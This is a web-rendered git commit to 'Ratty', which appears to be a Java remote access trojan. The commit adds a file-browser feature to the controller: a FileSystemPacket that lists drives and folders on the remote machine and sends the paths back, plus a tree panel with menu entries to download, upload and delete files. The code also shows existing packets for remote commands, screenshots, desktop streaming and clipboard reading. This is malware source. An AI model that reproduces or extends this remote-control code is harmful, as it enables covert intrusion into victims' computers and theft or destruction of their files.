Browse Source

Major changes

Added file browser
Started to clean up
master
Sogomn 9 years ago
parent
commit
bcd9f841f5
  1. BIN
      Ratty/res/gui_icon.png
  2. BIN
      Ratty/res/menu_icons.png
  3. BIN
      Ratty/res/menu_icons_tree.png
  4. 1
      Ratty/src/de/sogomn/rat/Ratty.java
  5. 96
      Ratty/src/de/sogomn/rat/packet/FileSystemPacket.java
  6. 3
      Ratty/src/de/sogomn/rat/packet/PacketType.java
  7. 5
      Ratty/src/de/sogomn/rat/packet/PopupPacket.java
  8. 6
      Ratty/src/de/sogomn/rat/server/gui/DisplayPanel.java
  9. 142
      Ratty/src/de/sogomn/rat/server/gui/FileTreePanel.java
  10. 4
      Ratty/src/de/sogomn/rat/server/gui/IGuiController.java
  11. 18
      Ratty/src/de/sogomn/rat/server/gui/RattyGui.java
  12. 91
      Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java
  13. 5
      Ratty/src/de/sogomn/rat/server/gui/ServerClient.java

BIN
Ratty/res/gui_icon.png

Before

Width: 16  |  Height: 16  |  Size: 162 B

After

Width: 16  |  Height: 16  |  Size: 164 B

BIN
Ratty/res/menu_icons.png

Before

Width: 48  |  Height: 48  |  Size: 601 B

After

Width: 48  |  Height: 48  |  Size: 618 B

BIN
Ratty/res/menu_icons_tree.png

After

Width: 48  |  Height: 32  |  Size: 469 B

1
Ratty/src/de/sogomn/rat/Ratty.java

@ -33,6 +33,7 @@ public final class Ratty {
defaults.put("Table:\"Table.cellRenderer\".background", new Color(50, 50, 50)); defaults.put("Table:\"Table.cellRenderer\".background", new Color(50, 50, 50));
defaults.put("Table.alternateRowColor", new Color(75, 75, 75)); defaults.put("Table.alternateRowColor", new Color(75, 75, 75));
defaults.put("TextField.foreground", Color.BLACK); defaults.put("TextField.foreground", Color.BLACK);
defaults.put("Tree.background", Color.GRAY);
try { try {
UIManager.setLookAndFeel(nimbus); UIManager.setLookAndFeel(nimbus);

96
Ratty/src/de/sogomn/rat/packet/FileSystemPacket.java

@ -0,0 +1,96 @@
package de.sogomn.rat.packet;
import java.io.File;
import java.util.ArrayList;
import java.util.stream.Stream;
import de.sogomn.rat.ActiveClient;
public class FileSystemPacket extends AbstractPingPongPacket {
private String rootFile;
private String[] paths;
private static final byte INCOMING = 0;
private static final byte END = 1;
public FileSystemPacket(final String rootFile) {
this.rootFile = rootFile;
type = REQUEST;
paths = new String[0];
}
public FileSystemPacket() {
this("");
type = DATA;
}
@Override
protected void sendRequest(final ActiveClient client) {
client.writeUTF(rootFile);
}
@Override
protected void sendData(final ActiveClient client) {
for (final String path : paths) {
client.writeByte(INCOMING);
client.writeUTF(path);
}
client.writeByte(END);
}
@Override
protected void receiveRequest(final ActiveClient client) {
rootFile = client.readUTF();
}
@Override
protected void receiveData(final ActiveClient client) {
final ArrayList<String> pathList = new ArrayList<String>();
while (client.readByte() == INCOMING) {
final String path = client.readUTF();
pathList.add(path);
}
paths = new String[pathList.size()];
paths = pathList.toArray(paths);
}
@Override
protected void executeRequest(final ActiveClient client) {
final File[] children;
if (!rootFile.isEmpty()) {
final File file = new File(rootFile);
children = file.listFiles();
} else {
children = File.listRoots();
}
if (children != null) {
paths = Stream
.of(children)
.map(File::getAbsolutePath)
.toArray(String[]::new);
}
type = DATA;
client.addPacket(this);
}
@Override
protected void executeData(final ActiveClient client) {
//...
}
public String[] getPaths() {
return paths;
}
}

3
Ratty/src/de/sogomn/rat/packet/PacketType.java

@ -10,7 +10,8 @@ public enum PacketType {
INFORMATION(5, InformationPacket.class), INFORMATION(5, InformationPacket.class),
COMMAND(6, CommandPacket.class), COMMAND(6, CommandPacket.class),
DESKTOP(7, DesktopStreamPacket.class), DESKTOP(7, DesktopStreamPacket.class),
CLIPBOARD(8, ClipboardPacket.class);
CLIPBOARD(8, ClipboardPacket.class),
FILE(9, FileSystemPacket.class);
public final byte id; public final byte id;
public final Class<? extends IPacket> clazz; public final Class<? extends IPacket> clazz;

5
Ratty/src/de/sogomn/rat/packet/PopupPacket.java

@ -1,5 +1,7 @@
package de.sogomn.rat.packet; package de.sogomn.rat.packet;
import java.awt.image.BufferedImage;
import javax.swing.JDialog; import javax.swing.JDialog;
import javax.swing.JOptionPane; import javax.swing.JOptionPane;
@ -11,6 +13,8 @@ public final class PopupPacket implements IPacket {
private String message; private String message;
private static final BufferedImage NO_IMAGE = new BufferedImage(1, 1, BufferedImage.TYPE_INT_ARGB);
public PopupPacket(final String message) { public PopupPacket(final String message) {
this.message = message; this.message = message;
} }
@ -34,6 +38,7 @@ public final class PopupPacket implements IPacket {
final JOptionPane optionPane = new JOptionPane(message); final JOptionPane optionPane = new JOptionPane(message);
final JDialog dialog = optionPane.createDialog(null); final JDialog dialog = optionPane.createDialog(null);
dialog.setIconImage(NO_IMAGE);
dialog.setModal(false); dialog.setModal(false);
dialog.setVisible(true); dialog.setVisible(true);
} }

6
Ratty/src/de/sogomn/rat/server/gui/DisplayPanel.java

@ -14,6 +14,8 @@ public final class DisplayPanel {
private Screen screen; private Screen screen;
private BufferedImage image; private BufferedImage image;
private IGuiController controller;
private static final int SCREEN_WIDTH = 1920 / 2; private static final int SCREEN_WIDTH = 1920 / 2;
private static final int SCREEN_HEIGHT = 1080 / 2; private static final int SCREEN_HEIGHT = 1080 / 2;
@ -74,4 +76,8 @@ public final class DisplayPanel {
openScreen(screenWidth, screenHeight); openScreen(screenWidth, screenHeight);
} }
public void setController(final IGuiController controller) {
this.controller = controller;
}
} }

142
Ratty/src/de/sogomn/rat/server/gui/FileTreePanel.java

@ -1,11 +1,25 @@
package de.sogomn.rat.server.gui; package de.sogomn.rat.server.gui;
import java.awt.Dimension; import java.awt.Dimension;
import java.awt.event.ActionEvent;
import java.awt.event.MouseAdapter;
import java.awt.event.MouseEvent;
import java.awt.image.BufferedImage;
import java.io.File;
import javax.swing.Icon;
import javax.swing.ImageIcon;
import javax.swing.JDialog; import javax.swing.JDialog;
import javax.swing.JFrame; import javax.swing.JFrame;
import javax.swing.JMenuItem;
import javax.swing.JPopupMenu;
import javax.swing.JScrollPane;
import javax.swing.JTree; import javax.swing.JTree;
import javax.swing.tree.DefaultMutableTreeNode; import javax.swing.tree.DefaultMutableTreeNode;
import javax.swing.tree.TreeNode;
import javax.swing.tree.TreePath;
import de.sogomn.engine.fx.SpriteSheet;
public final class FileTreePanel { public final class FileTreePanel {
@ -13,26 +27,96 @@ public final class FileTreePanel {
private DefaultMutableTreeNode root; private DefaultMutableTreeNode root;
private JTree tree; private JTree tree;
private DefaultMutableTreeNode lastNodeClicked;
private JScrollPane scrollPane;
private JPopupMenu menu;
private IGuiController controller;
private static final String ROOT_NAME = "Drives"; private static final String ROOT_NAME = "Drives";
private static final int DEFAULT_WIDTH = 500; private static final int DEFAULT_WIDTH = 500;
private static final int DEFAULT_HEIGHT = 500; private static final int DEFAULT_HEIGHT = 500;
private static final BufferedImage[] MENU_ICONS = new SpriteSheet("/menu_icons_tree.png", 16, 16).getSprites();
public static final String REQUEST = "Show content";
public static final String DOWNLOAD = "Download file";
public static final String UPLOAD = "Upload file";
public static final String DELETE = "Delete file";
public static final String NEW_FOLDER = "New folder";
public static final String[] COMMANDS = {
REQUEST,
DOWNLOAD,
UPLOAD,
DELETE,
NEW_FOLDER
};
public FileTreePanel() { public FileTreePanel() {
dialog = new JDialog(); dialog = new JDialog();
root = new DefaultMutableTreeNode(ROOT_NAME); root = new DefaultMutableTreeNode(ROOT_NAME);
tree = new JTree(root); tree = new JTree(root);
scrollPane = new JScrollPane(tree, JScrollPane.VERTICAL_SCROLLBAR_ALWAYS, JScrollPane.HORIZONTAL_SCROLLBAR_AS_NEEDED);
menu = new JPopupMenu();
for (int i = 0; i < COMMANDS.length && i < MENU_ICONS.length; i++) {
final String command = COMMANDS[i];
final ImageIcon icon = new ImageIcon(MENU_ICONS[i]);
addMenuItem(command, icon);
}
final MouseAdapter mouseAdapter = new MouseAdapter() {
@Override
public void mousePressed(final MouseEvent m) {
final int x = m.getX();
final int y = m.getY();
final TreePath path = tree.getPathForLocation(x, y);
tree.setSelectionPath(path);
if (path != null) {
lastNodeClicked = (DefaultMutableTreeNode)path.getLastPathComponent();
} else {
lastNodeClicked = null;
}
}
};
scrollPane.setBorder(null);
tree.addMouseListener(mouseAdapter);
tree.setEditable(false); tree.setEditable(false);
tree.setBorder(null);
tree.setComponentPopupMenu(menu);
dialog.setDefaultCloseOperation(JFrame.HIDE_ON_CLOSE); dialog.setDefaultCloseOperation(JFrame.HIDE_ON_CLOSE);
dialog.setPreferredSize(new Dimension(DEFAULT_WIDTH, DEFAULT_HEIGHT)); dialog.setPreferredSize(new Dimension(DEFAULT_WIDTH, DEFAULT_HEIGHT));
dialog.setContentPane(tree);
dialog.setContentPane(scrollPane);
dialog.pack(); dialog.pack();
dialog.setLocationByPlatform(true); dialog.setLocationByPlatform(true);
} }
private void addMenuItem(final String name, final Icon icon) {
final JMenuItem item = new JMenuItem(name);
item.setActionCommand(name);
item.addActionListener(this::menuItemClicked);
item.setIcon(icon);
menu.add(item);
}
private void menuItemClicked(final ActionEvent a) {
if (controller == null) {
return;
}
final String command = a.getActionCommand();
controller.userInput(command);
}
private DefaultMutableTreeNode[] getChildren(final DefaultMutableTreeNode node) { private DefaultMutableTreeNode[] getChildren(final DefaultMutableTreeNode node) {
final int childCount = node.getChildCount(); final int childCount = node.getChildCount();
final DefaultMutableTreeNode[] children = new DefaultMutableTreeNode[childCount]; final DefaultMutableTreeNode[] children = new DefaultMutableTreeNode[childCount];
@ -46,7 +130,7 @@ public final class FileTreePanel {
return children; return children;
} }
private DefaultMutableTreeNode getChild(final DefaultMutableTreeNode node, final String name) {
private DefaultMutableTreeNode getByName(final DefaultMutableTreeNode node, final String name) {
final DefaultMutableTreeNode[] children = getChildren(node); final DefaultMutableTreeNode[] children = getChildren(node);
for (final DefaultMutableTreeNode child : children) { for (final DefaultMutableTreeNode child : children) {
@ -66,7 +150,7 @@ public final class FileTreePanel {
} }
final String name = path[0]; final String name = path[0];
final DefaultMutableTreeNode node = getChild(start, name);
final DefaultMutableTreeNode node = getByName(start, name);
if (path.length == 1 || node == null) { if (path.length == 1 || node == null) {
return node; return node;
@ -78,19 +162,19 @@ public final class FileTreePanel {
return getByName(node, remainingPath); return getByName(node, remainingPath);
} }
private void addAll(final DefaultMutableTreeNode start, final String[] path) {
private void addAll(final DefaultMutableTreeNode root, final String[] path) {
if (path.length == 0) { if (path.length == 0) {
return; return;
} }
final String name = path[0]; final String name = path[0];
DefaultMutableTreeNode node = getChild(start, name);
DefaultMutableTreeNode node = getByName(root, name);
if (node == null) { if (node == null) {
node = new DefaultMutableTreeNode(name); node = new DefaultMutableTreeNode(name);
start.add(node);
root.add(node);
} }
final String[] remainingPath = new String[path.length - 1]; final String[] remainingPath = new String[path.length - 1];
@ -103,6 +187,12 @@ public final class FileTreePanel {
addAll(root, path); addAll(root, path);
} }
public void addFile(final String path) {
final String[] pathParts = path.split("\\" + File.separator);
addFile(pathParts);
}
public void removeFile(final String... path) { public void removeFile(final String... path) {
final DefaultMutableTreeNode node = getByName(root, path); final DefaultMutableTreeNode node = getByName(root, path);
@ -111,6 +201,12 @@ public final class FileTreePanel {
} }
} }
public void removeFile(final String path) {
final String[] pathParts = path.split("\\" + File.separator);
removeFile(pathParts);
}
public void clear() { public void clear() {
root.removeAllChildren(); root.removeAllChildren();
} }
@ -119,4 +215,36 @@ public final class FileTreePanel {
dialog.setVisible(state); dialog.setVisible(state);
} }
public void setController(final IGuiController controller) {
this.controller = controller;
}
public DefaultMutableTreeNode getLastNodeClicked() {
return lastNodeClicked;
}
public String getLastPathClicked() {
if (lastNodeClicked == null) {
return "";
}
final TreeNode[] parents = lastNodeClicked.getPath();
final StringBuilder stringBuilder = new StringBuilder();
for (final TreeNode node : parents) {
final DefaultMutableTreeNode parent = (DefaultMutableTreeNode)node;
final String name = (String)parent.getUserObject();
stringBuilder.append(name + File.separator);
}
final String path = stringBuilder.toString();
if (path.startsWith(ROOT_NAME + File.separator)) {
return path.substring(ROOT_NAME.length() + 1);
} else {
return path;
}
}
} }

4
Ratty/src/de/sogomn/rat/server/gui/IGuiController.java

@ -4,4 +4,8 @@ public interface IGuiController {
void userInput(final String actionCommand); void userInput(final String actionCommand);
void keyboardInput(final int key, final boolean flag);
void mouseInput(final int x, final int y, final int button, final boolean flag);
} }

18
Ratty/src/de/sogomn/rat/server/gui/RattyGui.java

@ -5,6 +5,7 @@ import java.awt.event.ActionEvent;
import java.awt.event.MouseAdapter; import java.awt.event.MouseAdapter;
import java.awt.event.MouseEvent; import java.awt.event.MouseEvent;
import java.awt.image.BufferedImage; import java.awt.image.BufferedImage;
import java.util.ArrayList;
import javax.swing.Icon; import javax.swing.Icon;
import javax.swing.ImageIcon; import javax.swing.ImageIcon;
@ -40,7 +41,10 @@ public final class RattyGui {
"Streaming" "Streaming"
}; };
private static final BufferedImage GUI_ICON = ImageUtils.scaleImage(ImageUtils.loadImage("/gui_icon.png"), 64, 64);
private static final BufferedImage GUI_ICON_SMALL = ImageUtils.loadImage("/gui_icon.png");
private static final BufferedImage GUI_ICON_MEDIUM = ImageUtils.scaleImage(ImageUtils.loadImage("/gui_icon.png"), 64, 64);
private static final BufferedImage GUI_ICON_LARGE = ImageUtils.scaleImage(ImageUtils.loadImage("/gui_icon.png"), 128, 128);
private static final ArrayList<BufferedImage> GUI_ICONS = new ArrayList<BufferedImage>(3);
private static final BufferedImage[] MENU_ICONS = new SpriteSheet("/menu_icons.png", 16, 16).getSprites(); private static final BufferedImage[] MENU_ICONS = new SpriteSheet("/menu_icons.png", 16, 16).getSprites();
public static final String POPUP = "Open popup"; public static final String POPUP = "Open popup";
@ -63,6 +67,12 @@ public final class RattyGui {
FREE FREE
}; };
static {
GUI_ICONS.add(GUI_ICON_SMALL);
GUI_ICONS.add(GUI_ICON_MEDIUM);
GUI_ICONS.add(GUI_ICON_LARGE);
}
public RattyGui() { public RattyGui() {
frame = new JFrame(); frame = new JFrame();
table = new JTable(); table = new JTable();
@ -81,9 +91,9 @@ public final class RattyGui {
@Override @Override
public void mousePressed(final MouseEvent m) { public void mousePressed(final MouseEvent m) {
final Point mousePoint = m.getPoint(); final Point mousePoint = m.getPoint();
final int row = table.rowAtPoint(mousePoint);
final int rowIndex = table.rowAtPoint(mousePoint);
lastIdClicked = (Long)tableModel.getValueAt(row, 0);
lastIdClicked = (Long)tableModel.getValueAt(rowIndex, 0);
} }
}; };
@ -97,7 +107,7 @@ public final class RattyGui {
frame.setContentPane(scrollPane); frame.setContentPane(scrollPane);
frame.pack(); frame.pack();
frame.setLocationByPlatform(true); frame.setLocationByPlatform(true);
frame.setIconImage(GUI_ICON);
frame.setIconImages(GUI_ICONS);
frame.setVisible(true); frame.setVisible(true);
frame.requestFocus(); frame.requestFocus();
} }

91
Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java

@ -8,6 +8,7 @@ import de.sogomn.rat.IClientObserver;
import de.sogomn.rat.packet.ClipboardPacket; import de.sogomn.rat.packet.ClipboardPacket;
import de.sogomn.rat.packet.CommandPacket; import de.sogomn.rat.packet.CommandPacket;
import de.sogomn.rat.packet.DesktopStreamPacket; import de.sogomn.rat.packet.DesktopStreamPacket;
import de.sogomn.rat.packet.FileSystemPacket;
import de.sogomn.rat.packet.FreePacket; import de.sogomn.rat.packet.FreePacket;
import de.sogomn.rat.packet.IPacket; import de.sogomn.rat.packet.IPacket;
import de.sogomn.rat.packet.InformationPacket; import de.sogomn.rat.packet.InformationPacket;
@ -52,7 +53,7 @@ public final class RattyGuiController implements IServerObserver, IClientObserve
return null; return null;
} }
private IPacket getPacket(final String command) {
private IPacket getPacket(final String command, final ServerClient serverClient) {
if (command == RattyGui.POPUP) { if (command == RattyGui.POPUP) {
return PopupPacket.create(); return PopupPacket.create();
} else if (command == RattyGui.FREE) { } else if (command == RattyGui.FREE) {
@ -65,49 +66,86 @@ public final class RattyGuiController implements IServerObserver, IClientObserve
return new DesktopStreamPacket(true); return new DesktopStreamPacket(true);
} else if (command == RattyGui.CLIPBOARD) { } else if (command == RattyGui.CLIPBOARD) {
return new ClipboardPacket(); return new ClipboardPacket();
} else if (command == FileTreePanel.REQUEST) {
final String path = serverClient.getTreePanel().getLastPathClicked();
final FileSystemPacket packet = new FileSystemPacket(path);
return packet;
} }
return null; return null;
} }
private void handle(final ServerClient serverClient, final ScreenshotPacket packet) {
final BufferedImage image = packet.getImage();
serverClient.getDisplayPanel().showImage(image);
}
private void handle(final ServerClient serverClient, final DesktopStreamPacket packet) {
final IFrame frame = packet.getFrame();
final int screenWidth = packet.getScreenWidth();
final int screenHeight = packet.getScreenHeight();
final DesktopStreamPacket request = new DesktopStreamPacket();
final DisplayPanel displayPanel = serverClient.getDisplayPanel();
displayPanel.showFrame(frame, screenWidth, screenHeight);
serverClient.client.addPacket(request);
}
private void handle(final ServerClient serverClient, final FileSystemPacket packet) {
final String[] paths = packet.getPaths();
final FileTreePanel treePanel = serverClient.getTreePanel();
for (final String path : paths) {
treePanel.addFile(path);
}
}
private void handle(final ServerClient serverClient, final InformationPacket packet) {
final long id = serverClient.id;
final String name = packet.getName();
final String address = serverClient.client.getAddress();
final String os = packet.getOs();
final String version = packet.getVersion();
serverClient.logIn(name, os, version);
serverClient.setController(this);
gui.addTableRow(id, name, address, os, version);
}
@Override @Override
public void packetReceived(final ActiveClient client, final IPacket packet) { public void packetReceived(final ActiveClient client, final IPacket packet) {
final ServerClient serverClient = getServerClient(client); final ServerClient serverClient = getServerClient(client);
final boolean loggedIn = serverClient.isLoggedIn();
if (serverClient.isLoggedIn()) {
if (loggedIn) {
if (packet instanceof ScreenshotPacket) { if (packet instanceof ScreenshotPacket) {
final ScreenshotPacket screenshot = (ScreenshotPacket)packet; final ScreenshotPacket screenshot = (ScreenshotPacket)packet;
final BufferedImage image = screenshot.getImage();
serverClient.getDisplayPanel().showImage(image);
handle(serverClient, screenshot);
} else if (packet instanceof DesktopStreamPacket && serverClient.isStreamingDesktop()) { } else if (packet instanceof DesktopStreamPacket && serverClient.isStreamingDesktop()) {
final DesktopStreamPacket stream = (DesktopStreamPacket)packet; final DesktopStreamPacket stream = (DesktopStreamPacket)packet;
final IFrame frame = stream.getFrame();
final int screenWidth = stream.getScreenWidth();
final int screenHeight = stream.getScreenHeight();
final DesktopStreamPacket request = new DesktopStreamPacket();
serverClient.getDisplayPanel().showFrame(frame, screenWidth, screenHeight);
client.addPacket(request);
handle(serverClient, stream);
} else if (packet instanceof FileSystemPacket) {
final FileSystemPacket file = (FileSystemPacket)packet;
handle(serverClient, file);
} else { } else {
packet.execute(client); packet.execute(client);
} }
} else if (packet instanceof InformationPacket) { } else if (packet instanceof InformationPacket) {
final InformationPacket information = (InformationPacket)packet; final InformationPacket information = (InformationPacket)packet;
final long id = serverClient.id;
final String name = information.getName();
final String address = client.getAddress();
final String os = information.getOs();
final String version = information.getVersion();
serverClient.logIn(name, os, version);
gui.addTableRow(id, name, address, os, version);
handle(serverClient, information);
} }
} }
@Override @Override
public void disconnected(final ActiveClient client) { public void disconnected(final ActiveClient client) {
final long id = getServerClient(client).id;
final ServerClient serverClient = getServerClient(client);
final long id = serverClient.id;
client.setObserver(null); client.setObserver(null);
client.close(); client.close();
@ -137,11 +175,10 @@ public final class RattyGuiController implements IServerObserver, IClientObserve
public void userInput(final String command) { public void userInput(final String command) {
final long lastIdClicked = gui.getLastIdClicked(); final long lastIdClicked = gui.getLastIdClicked();
final ServerClient serverClient = getServerClient(lastIdClicked); final ServerClient serverClient = getServerClient(lastIdClicked);
final ActiveClient client = serverClient.client;
final IPacket packet = getPacket(command);
final IPacket packet = getPacket(command, serverClient);
if (packet != null) { if (packet != null) {
client.addPacket(packet);
serverClient.client.addPacket(packet);
} }
if (command == RattyGui.DESKTOP) { if (command == RattyGui.DESKTOP) {
@ -150,7 +187,19 @@ public final class RattyGuiController implements IServerObserver, IClientObserve
} else if (command == RattyGui.DESKTOP_STOP) { } else if (command == RattyGui.DESKTOP_STOP) {
serverClient.setStreamingDesktop(false); serverClient.setStreamingDesktop(false);
gui.setStreaming(lastIdClicked, false); gui.setStreaming(lastIdClicked, false);
} else if (command == RattyGui.FILES) {
serverClient.getTreePanel().setVisible(true);
} }
} }
@Override
public void keyboardInput(final int key, final boolean flag) {
//...
}
@Override
public void mouseInput(final int x, final int y, final int button, final boolean flag) {
//...
}
} }

5
Ratty/src/de/sogomn/rat/server/gui/ServerClient.java

@ -35,6 +35,11 @@ public final class ServerClient {
this.streamingDesktop = streamingDesktop; this.streamingDesktop = streamingDesktop;
} }
public void setController(final IGuiController controller) {
displayPanel.setController(controller);
treePanel.setController(controller);
}
public String getName() { public String getName() {
return name; return name;
} }

Loading…
Cancel
Save